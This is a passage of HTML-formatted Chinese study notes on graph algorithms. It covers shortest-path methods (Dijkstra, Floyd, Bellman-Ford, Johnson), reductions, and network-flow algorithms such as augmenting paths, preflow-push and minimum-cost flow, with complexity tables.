&lt;li&gt;距离矩阵：d[s][t] 为 s 到 t 的最短路径&lt;/li&gt;
&lt;li&gt;路径矩阵：p[s][t] 为 s 到 t 最短路径中 s 的下一个顶点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;追踪路径：相反顺序；栈；处理逆图&lt;/li&gt;
&lt;li&gt;加号：由边权值计算路径权值&lt;/li&gt;
&lt;li&gt;小于号：计算路径权值集中的最小值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dijkstra 算法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定义：从将源点放在 SPT 中开始，然后每次选择一条边构建 SPT，总是选择从源点到不在 SPT 中的一个顶点的最短路径的边&lt;/li&gt;
&lt;li&gt;解决非负权值网中的单源点最短路径问题&lt;/li&gt;
&lt;li&gt;经典实现适合稠密图，线性，V^2&lt;/li&gt;
&lt;li&gt;Dijkstra 的 PFS 实现：将连接树顶点与非树顶点的边保存在优先队列，并提供更新优先级的操作
&lt;ul&gt;
&lt;li&gt;适合稀疏图&lt;/li&gt;
&lt;li&gt;用堆来实现优先队列时：ElgV&lt;/li&gt;
&lt;li&gt;给定图有 V 个顶点、E 条边、密度 d = E/V：
&lt;ul&gt;
&lt;li&gt;d &amp;lt; 2 时：Dijkstra 时间与 VlgV 成正比&lt;/li&gt;
&lt;li&gt;可用 [d]-堆实现优先队列，最坏情况下改进 lg(E/V) 的一个因子：O(Elog_dV)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;4 种 PFS 实现：
&lt;ul&gt;
&lt;li&gt;经典稠密图：Dijkstra、Prim&lt;/li&gt;
&lt;li&gt;边缘边集（稀疏图）：教学价值&lt;/li&gt;
&lt;li&gt;边缘顶点集（稀疏图）：最优化&lt;/li&gt;
&lt;li&gt;所有顶点（稀疏图）：最简单&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PFS 算法：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DFS&lt;/td&gt;
&lt;td&gt;逆前序&lt;/td&gt;
&lt;td&gt;递归树&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BFS&lt;/td&gt;
&lt;td&gt;前序&lt;/td&gt;
&lt;td&gt;SPT（边）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prim&lt;/td&gt;
&lt;td&gt;边权值&lt;/td&gt;
&lt;td&gt;MST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Djkstra&lt;/td&gt;
&lt;td&gt;路径权值&lt;/td&gt;
&lt;td&gt;SPT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Dijkstra 算法各种实现的开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;开销（最坏）&lt;/th&gt;
&lt;th&gt;注释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;经典&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;稠密图最优&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PFS（完全堆）（所有边）&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;ADT 简单&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PFS（边缘集堆）&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;保守界限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PFS（d-叉堆）&lt;/td&gt;
&lt;td&gt;Elog_dV&lt;/td&gt;
&lt;td&gt;除极端稀疏图外，都是线性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有对最短路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加权直径：最短路径中最长路径的长度&lt;/li&gt;
&lt;li&gt;求所有对最短路径方法：
&lt;ul&gt;
&lt;li&gt;每个顶点 Dijkstra（非负权值）：
&lt;ul&gt;
&lt;li&gt;堆：最坏 VElgV VElog_dV&lt;/li&gt;
&lt;li&gt;d-叉堆：VE，如果 E &amp;lt; 2V，d = 2；否则 d = E/V&lt;/li&gt;
&lt;li&gt;适合稀疏图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Floyd（可有负权值，但不能有负环）：
&lt;ul&gt;
&lt;li&gt;V^3&lt;/li&gt;
&lt;li&gt;适合稠密图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无环网中的最短路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无环网中：
&lt;ul&gt;
&lt;li&gt;单源点：线性，与 E 成正比&lt;/li&gt;
&lt;li&gt;所有对：与 VE 成正比&lt;/li&gt;
&lt;li&gt;最长路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无环网（加权 DAG）：边上有权值，且不存在环的有向图&lt;/li&gt;
&lt;li&gt;单源点：DFS；源点队列&lt;/li&gt;
&lt;li&gt;所有点对：每顶点用单源点；单个 DFS。如果加上动态规划就变成拓扑排序，需用逆拓扑排序顺序考虑顶点&lt;/li&gt;
&lt;li&gt;多源点最短路径问题（最长）：
&lt;ul&gt;
&lt;li&gt;使用虚拟顶点把多源点转化成单源点&lt;/li&gt;
&lt;li&gt;按照拓扑排序的顺序处理顶点&lt;/li&gt;
&lt;li&gt;线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;欧几里得网：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定义：边权值为点的几何距离&lt;/li&gt;
&lt;li&gt;额外性质：
&lt;ul&gt;
&lt;li&gt;满足三角不等式：s-&amp;gt;d &amp;lt;= s-&amp;gt;x + x-&amp;gt;d&lt;/li&gt;
&lt;li&gt;顶点位置给出了路径长度的一个下界：不存在有 s-&amp;gt;d 的路径小于 s-&amp;gt;d 的距离&lt;/li&gt;
&lt;li&gt;大大减少必须考虑的路径数目&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;欧几里得启发式搜索：
&lt;ul&gt;
&lt;li&gt;Dijkstra 的 PFS 实现 + 额外性质&lt;/li&gt;
&lt;li&gt;重新加权 + 标准最短路径算法&lt;/li&gt;
&lt;li&gt;不保证节省&lt;/li&gt;
&lt;li&gt;A* 算法的特例&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;归约：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 可归约为 B：使用求解 B 的算法去求解 A，最坏时该算法不超过求解 B 算法的常量倍：
&lt;ul&gt;
&lt;li&gt;转换为 B 的一个实例&lt;/li&gt;
&lt;li&gt;求解这个实例&lt;/li&gt;
&lt;li&gt;将 B 的解决方案转换为 A 的解决方案&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;等价：两个问题可相互归约&lt;/li&gt;
&lt;li&gt;体现了归约思想：库编程&lt;/li&gt;
&lt;li&gt;作用：分类；得到下界&lt;/li&gt;
&lt;li&gt;一个问题比另一个问题更一般&lt;/li&gt;
&lt;li&gt;传递闭包可归约为非负权值的所有对最短路径&lt;/li&gt;
&lt;li&gt;在边权值无限值的网中，单源点（所有点对）的最长路径问题和最短路径问题是等价的&lt;/li&gt;
&lt;li&gt;差分约束：为一组遍历 x_0...x_n 赋予非负值，使 x_n 值最小，且满足对一组变量的差分约束
&lt;ul&gt;
&lt;li&gt;约束指定了两个变量的差必定大于等于一个给定常量&lt;/li&gt;
&lt;li&gt;归约为作业调度&lt;/li&gt;
&lt;li&gt;正常数时等价于无环网中单源点最长路径问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;线性规划：为一组变量 x_0...x_n 赋予非负值，使变量的特定线性组合达到最小，且满足对变量的一组约束
&lt;ul&gt;
&lt;li&gt;约束指定了变量的某个线性组合必定大于等于一个给定常量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不可行的：一个没有解决方案的问题实例&lt;/li&gt;
&lt;li&gt;具有截止期限的作业调度：归约为可负权值最短路径（不含负环）&lt;/li&gt;
&lt;li&gt;一般的最短路径问题、边权值可为负的网的最短路径问题：NP-难&lt;/li&gt;
&lt;li&gt;高效：算法最坏时为输入规模的某个多项式函数&lt;/li&gt;
&lt;li&gt;难解性：归约为难解性&lt;/li&gt;
&lt;li&gt;上界：有 B 的高效算法，且 A 归约为 B，则有 A 的高效算法。可能有 A 的更好算法，但 B 性能是求 A 最佳性能的一个上界&lt;/li&gt;
&lt;li&gt;下界：知道 A 的任何算法都有 x 资源需求，且 A 归约为 B，则 B 至少也由 x 资源需求，因为 B 的更好算法蕴含着存在 A
的一个更好算法，也就是说：A 的性能是 B 最佳性能的一个上界&lt;/li&gt;
&lt;li&gt;更一般：运筹学（OR）：数学规划&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;负权值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正权值：寻找捷径&lt;/li&gt;
&lt;li&gt;负权值：寻找绕道，尽可能多的负权边：小权值路径比大权值有更多的边&lt;/li&gt;
&lt;li&gt;无负环网中的最短路径问题、负环检测：Floyd 算法，对于所有点对 V^2&lt;/li&gt;
&lt;li&gt;Bellman-Ford 算法：以任意顺序考虑网中的边，并沿着每条边松弛，执行 V 遍
&lt;ul&gt;
&lt;li&gt;单源点：VE&lt;/li&gt;
&lt;li&gt;所有对：V^2E&lt;/li&gt;
&lt;li&gt;负环检测：VE&lt;/li&gt;
&lt;li&gt;基本方法：对所有边检查&lt;/li&gt;
&lt;li&gt;改进：可改变的边为某些顶点发出的边，而这些顶点在上一遍中有所改变：队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;重新加权：将网转换为只有非负权值的网，且有相同的最短路径结构
&lt;ul&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;边：将该边源点到目的点权值之差加到该边的权值上&lt;/li&gt;
&lt;li&gt;网：对所有边重新加权&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;线性&lt;/li&gt;
&lt;li&gt;顶点的权值：最短路径生成森林：为每个顶点赋权（从此根到它在 SPT 中顶点的路径的权值）
&lt;ul&gt;
&lt;li&gt;从每个强连通分量的一个源点开始&lt;/li&gt;
&lt;li&gt;虚拟顶点，与网中每个顶点之间的边权值为 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Johnson 算法：
&lt;ul&gt;
&lt;li&gt;适用于有负权边，当无负环的网（所有点对）&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;用 Bellman-Ford 算法找出原网的一个最短路径森林&lt;/li&gt;
&lt;li&gt;有负环则终止&lt;/li&gt;
&lt;li&gt;由最短路径森林对网进行重新加权&lt;/li&gt;
&lt;li&gt;在重新加权后的网上使用所有点对 Dijkstra 算法&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;所有点对：VElog_dV，如果 E &amp;lt; 2V，则 d = 2；否则 d = E/V&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;展望：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单源点最短路径算法开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;权值约束&lt;/th&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;开销（最坏）&lt;/th&gt;
&lt;th&gt;注释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;非负&lt;/td&gt;
&lt;td&gt;Dijkstra&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;稠密图最优&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非负&lt;/td&gt;
&lt;td&gt;Dijkstra（PFS）&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;保守界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无环&lt;/td&gt;
&lt;td&gt;源点队列&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;最优&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;不含负环&lt;/td&gt;
&lt;td&gt;Bellman-Ford&lt;/td&gt;
&lt;td&gt;VE&lt;/td&gt;
&lt;td&gt;有改进空间？&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无（一般性问题）&lt;/td&gt;
&lt;td&gt;开放问题&lt;/td&gt;
&lt;td&gt;？&lt;/td&gt;
&lt;td&gt;NP-难&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;所有点对最短路径算法开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;权值约束&lt;/th&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;开销（最坏）&lt;/th&gt;
&lt;th&gt;注释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;非负&lt;/td&gt;
&lt;td&gt;Floyd&lt;/td&gt;
&lt;td&gt;V^3&lt;/td&gt;
&lt;td&gt;对所有网相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非负&lt;/td&gt;
&lt;td&gt;Dijkstra（PFS）&lt;/td&gt;
&lt;td&gt;VElgV&lt;/td&gt;
&lt;td&gt;保守界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无环&lt;/td&gt;
&lt;td&gt;DFS&lt;/td&gt;
&lt;td&gt;VE&lt;/td&gt;
&lt;td&gt;对所有网相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;不含负环&lt;/td&gt;
&lt;td&gt;Floyd&lt;/td&gt;
&lt;td&gt;V^3&lt;/td&gt;
&lt;td&gt;对所有网相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;不含负环&lt;/td&gt;
&lt;td&gt;Johnson&lt;/td&gt;
&lt;td&gt;VElgV&lt;/td&gt;
&lt;td&gt;保守界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无（一般性问题）&lt;/td&gt;
&lt;td&gt;开放问题&lt;/td&gt;
&lt;td&gt;？&lt;/td&gt;
&lt;td&gt;NP-难&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二十二章 网络流&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;最大流问题、最小成本流问题：
&lt;ul&gt;
&lt;li&gt;配送：商品配送；通信；交通流量&lt;/li&gt;
&lt;li&gt;匹配：工作安排；最小距离点匹配&lt;/li&gt;
&lt;li&gt;分割：网络可靠性；分割补给性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;流网络：
&lt;ul&gt;
&lt;li&gt;st 网：有一个指定源点 s 和一个指定汇点 t 的网
&lt;ul&gt;
&lt;li&gt;指定：忽略指向 s 的边和指出 t 的边&lt;/li&gt;
&lt;li&gt;内部结点：除源点和汇点外的其它顶点&lt;/li&gt;
&lt;li&gt;表示：每个方向一条边
&lt;ul&gt;
&lt;li&gt;邻接矩阵：平行数组&lt;/li&gt;
&lt;li&gt;邻接表：一条边两种表示中有指针关联&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;流网络：有正边权值的 st 网，边上权值为容量
&lt;ul&gt;
&lt;li&gt;边流（流网络中的一个流）：一个非负边（权值）集合&lt;/li&gt;
&lt;li&gt;满足：
&lt;ul&gt;
&lt;li&gt;边流不大于该边容量&lt;/li&gt;
&lt;li&gt;进入每个内部顶点的总流量等于从该顶点流出的总流量&lt;/li&gt;
&lt;li&gt;s 流出量 = t 流入量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顶点：
&lt;ul&gt;
&lt;li&gt;流入量：进入一个顶点的总流量（该顶点进入边上的流之和）&lt;/li&gt;
&lt;li&gt;流出量：流出一个顶点的总流量（该顶点发出边上的流之和）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;网的值 = 源点流出量 = 汇点流入量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最大流：在一个 st 网中找出一个流，使该流的流值最大，且知道达到该流值的各个边值&lt;/li&gt;
&lt;li&gt;st 流：一个 st 网中的流&lt;/li&gt;
&lt;li&gt;合并两个顶点集后仍保持流平衡&lt;/li&gt;
&lt;li&gt;循环流：
&lt;ul&gt;
&lt;li&gt;可以用一条从 s 到 t 的边对任何流网络进行扩展，其中流和容量等于网的值，且对任何扩展过的网络中的结点集，其流入量等于流出量&lt;/li&gt;
&lt;li&gt;根据流分解定理，可与环集合（每个环一个流值）互相转换&lt;/li&gt;
&lt;li&gt;流分解定理：任何循环流可表示为至多有 E 个有向环的集合上的流
&lt;ul&gt;
&lt;li&gt;任何 st 网中都有一个最大流，满足非零流值所导出的子图是一个环&lt;/li&gt;
&lt;li&gt;任何 st 网中都有一个最大流，可表示为从 s 到 t 的至多 E 个有向路径集合上的流&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;增大路径最大流算法：
&lt;ul&gt;
&lt;li&gt;增大路径法（Ford-Fulkerson 法）：
&lt;ul&gt;
&lt;li&gt;描述：从任何一个零流开始，沿着从源点到汇点的任何一条路径上的未满前向边或空的后向边增大此流，继续这个过程直到网络中不存在这样的路径&lt;/li&gt;
&lt;li&gt;增加流量：
&lt;ul&gt;
&lt;li&gt;增加前向边的流：前向边未用流量最小值&lt;/li&gt;
&lt;li&gt;减少后向边的流：后向边流的限制&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;前向边：随着流行进（遍历从源顶点到目的顶点的边）&lt;/li&gt;
&lt;li&gt;后向边：沿着流逆行（遍历从目的顶点到源顶点的边）&lt;/li&gt;
&lt;li&gt;运行时间：
&lt;ul&gt;
&lt;li&gt;找出一个最大流所需的增大路径数&lt;/li&gt;
&lt;li&gt;找出每个增大路径所需的时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;所需增大路径数目至多为 VM，M 为网络中最大边容量&lt;/li&gt;
&lt;li&gt;找出最大流：O(VEM)&lt;/li&gt;
&lt;li&gt;稀疏网络：O(V^2M)&lt;/li&gt;
&lt;li&gt;图搜索策略：边缘集数据结构，找增大路径的方法
&lt;ul&gt;
&lt;li&gt;最短增大路径：根据路径上边数
&lt;ul&gt;
&lt;li&gt;增大路径数目：至多为 VE/2&lt;/li&gt;
&lt;li&gt;稀疏网：O(V^3)&lt;/li&gt;
&lt;li&gt;队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最大容量增大路径：沿着使流增大最大量的路径增大
&lt;ul&gt;
&lt;li&gt;增大路径数目：至多为 2ElgM&lt;/li&gt;
&lt;li&gt;稀疏网：O(V^2lgMlgV)&lt;/li&gt;
&lt;li&gt;优先队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;栈&lt;/li&gt;
&lt;li&gt;随机队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;st 割：将顶点 s 放在一个集合，顶点 t 放在另一个集合的割&lt;/li&gt;
&lt;li&gt;割集：交叉边的集合（连接这两个集合的边的集合）&lt;/li&gt;
&lt;li&gt;st 割的容量：该割的所有 st 边的容量之和&lt;/li&gt;
&lt;li&gt;穿越 st 割的流：割中 st 边流之和减去割中 ts 边流之和&lt;/li&gt;
&lt;li&gt;最小割：给定一个 st 网，找出一个使割的容量达到最小的 st 割&lt;/li&gt;
&lt;li&gt;对于任何 st 流，流值等于穿越每个 st 割的流&lt;/li&gt;
&lt;li&gt;st 流的值都不大于任何 st 割的容量&lt;/li&gt;
&lt;li&gt;最大流-最小割定理：网中所有 st 流最大值等于所有 st 割最小值&lt;/li&gt;
&lt;li&gt;残量网络：顶点和原网相同。对应于原网中的一条边，有一条或两条边
&lt;ul&gt;
&lt;li&gt;对于原网中每个边 u-v，设 f 为流值，c 为容量，以下容量为权值：
&lt;ul&gt;
&lt;li&gt;边空（f=0）：有一条容量为 c 的边 u-v（方向不变）&lt;/li&gt;
&lt;li&gt;边满（f=c）：有一条容量为 c 的边 v-u（方向相反）&lt;/li&gt;
&lt;li&gt;边不空不满，则有两条边：
&lt;ul&gt;
&lt;li&gt;正向边容量为 c-f（u-v）&lt;/li&gt;
&lt;li&gt;逆向边容量为 f（v-u）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;预流-推进最大流算法：
&lt;ul&gt;
&lt;li&gt;描述：沿着顶点的出边逐渐移动流，使流入量多于流出量，直到达到一个可行流（不再存在活动顶点）&lt;/li&gt;
&lt;li&gt;可行流：满足平衡条件的流&lt;/li&gt;
&lt;li&gt;预流：一个流网络中正边流的集合，满足：
&lt;ul&gt;
&lt;li&gt;边上流值不大于边上容量&lt;/li&gt;
&lt;li&gt;对于每个内部结点流入量不小于流出量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;活动顶点：流入量大于流出量的内部结点（约定源点、汇点不是活动顶点）&lt;/li&gt;
&lt;li&gt;顶点盈残量：活动顶点流入量减去流出量&lt;/li&gt;
&lt;li&gt;改变活动顶点的集合：把活动顶点放入广义队列中，取出一个，沿着一个发出边推进盈残量。如果容量不足，则沿着进入边倒推盈残量；如果推进使这个顶点不平衡，则变成不活动顶点，可能也会激活别的顶点&lt;/li&gt;
&lt;li&gt;高度函数：
&lt;ul&gt;
&lt;li&gt;在一个流网络中给定流的高度函数是一个非负顶点权值集合 h(0)...h(V-1)，且满足对于汇点 t 有 h(t) = 0，对于流的残量网络中每条边
u-v，有 h(u) &amp;lt;= h(v) + 1&lt;/li&gt;
&lt;li&gt;合格边：残量网络中满足 h(u) = h(v) + 1 的一条边 u-v&lt;/li&gt;
&lt;li&gt;没有合格边：h(0) = h(1) = ... = h(V-1) = 0&lt;/li&gt;
&lt;li&gt;设 h(s) = 1，则从源点出发，且有流的任何边都对应着残量网络中的一条合格边&lt;/li&gt;
&lt;li&gt;为每个顶点赋以到汇点的最短路径距离：
&lt;ul&gt;
&lt;li&gt;即以 t 为根的逆网的 BFS 树中到根结点的距离&lt;/li&gt;
&lt;li&gt;定义一个高度函数&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;到 t 的高度必定为 0&lt;/li&gt;
&lt;li&gt;在残量网络中，高度为 1 的顶点被 t 的顶点直接访问&lt;/li&gt;
&lt;li&gt;高度为 2 的顶点被高度为 1 的顶点直接指向&lt;/li&gt;
&lt;li&gt;以此类推&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;对于任何流和其所关联的高度函数，一个顶点的高度不大于残量网络中从该顶点到汇点的最短路径的长度&lt;/li&gt;
&lt;li&gt;含义：当一个活动顶点的高度：
&lt;ul&gt;
&lt;li&gt;小于源点高度时：结点向汇点推进流&lt;/li&gt;
&lt;li&gt;大于源点高度时：结点超出量可被倒推入源点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顶点高度大于 V：在残量网络中不存在从该顶点到汇点的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基于边的预流-推进算法：
&lt;ul&gt;
&lt;li&gt;有任一高度函数，连接到源点的边充满至容量，其它边赋 0 流&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;选择一个活动顶点，向离开这个顶点的合格边（依靠高度函数识别）（如果有合格边存在）推进流&lt;/li&gt;
&lt;li&gt;如果不存在这样的边，则增加顶点的高度&lt;/li&gt;
&lt;li&gt;直至没有活动顶点存在&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;保持了高度函数的有效性：O(V^2E)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;预流-推进算法性质：
&lt;ul&gt;
&lt;li&gt;在流网络中执行时，在流网络的残量网络中存在每个活动顶点到源点的一条有向路径，不存在从源点到汇点的有向路径&lt;/li&gt;
&lt;li&gt;执行中时，顶点高度总是小于 2V&lt;/li&gt;
&lt;li&gt;可计算一个最大流&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基于顶点的预流-推进算法：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;选择一个活动顶点，向离开顶点的合格边增加流（如果可能则充满）&lt;/li&gt;
&lt;li&gt;继续直到顶点变成不活动的或者不存在合格边&lt;/li&gt;
&lt;li&gt;不存在合格边时，增加顶点的高度&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;一旦我们选择一个顶点，就尽可能推进它的所有流，如果到了仍有盈余流的顶点但无合格边，就增加顶点的高度&lt;/li&gt;
&lt;li&gt;FIFO 队列实现：最坏情况下 V^2E&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最高顶点预流-推进最大流算法：返回最高活动顶点的优先队列&lt;/li&gt;
&lt;li&gt;3 种选择：
&lt;ul&gt;
&lt;li&gt;基于边与基于顶点的通用算法&lt;/li&gt;
&lt;li&gt;广义队列实现&lt;/li&gt;
&lt;li&gt;初始高度赋值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最大流归约：
&lt;ul&gt;
&lt;li&gt;可归约为最大流的问题：
&lt;ul&gt;
&lt;li&gt;一般网中的最大流&lt;/li&gt;
&lt;li&gt;顶点容量约束&lt;/li&gt;
&lt;li&gt;无环网最大流&lt;/li&gt;
&lt;li&gt;无向网最大流&lt;/li&gt;
&lt;li&gt;可行流&lt;/li&gt;
&lt;li&gt;最大基数二分匹配（二分匹配）：二分图中找最大基数匹配：O(VE)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Menger 定理：在有向图中删除某条边使两个顶点不连通的最少边数等于这两个顶点之间边不相交的路径的最大数目&lt;/li&gt;
&lt;li&gt;连通度：
&lt;ul&gt;
&lt;li&gt;边连通度：把图分割成两部分所需删除的最少边数（边集）&lt;/li&gt;
&lt;li&gt;顶点连通度：把图分割成两部分所需删除的最少顶点数（顶点集）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无向图边连通度：
&lt;ul&gt;
&lt;li&gt;O(E^2)&lt;/li&gt;
&lt;li&gt;最大割集合边数 = 最小流值 = 边连通度&lt;/li&gt;
&lt;li&gt;改进：VE&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最小成本流：
&lt;ul&gt;
&lt;li&gt;最小成本流模型：允许边上有整数成本，并以自然地方式使用边的成本来定义流成本，然后求出具有最小成本的最大流&lt;/li&gt;
&lt;li&gt;边上流成本：边上流和成本的乘积&lt;/li&gt;
&lt;li&gt;流成本：一个流的成本为该流中边流成本之和&lt;/li&gt;
&lt;li&gt;最小成本最大流：在有边成本的流网络中找出一个最大流使得不存在有更小成本的其它最大流&lt;/li&gt;
&lt;li&gt;最小成本可行流：配送网：在有边成本的流网络中对顶点赋予权值，正权值为供应，负权值为需求，且所有顶点权值（等价的）之和为
0.找出有最小成本的一个可行流（平衡）&lt;/li&gt;
&lt;li&gt;残量网络扩展：对于每条边 u-v，设 f 为流值，c 为容量，x 为成本
&lt;ul&gt;
&lt;li&gt;f 为正：有一条容量 f、成本 -x 的边&lt;/li&gt;
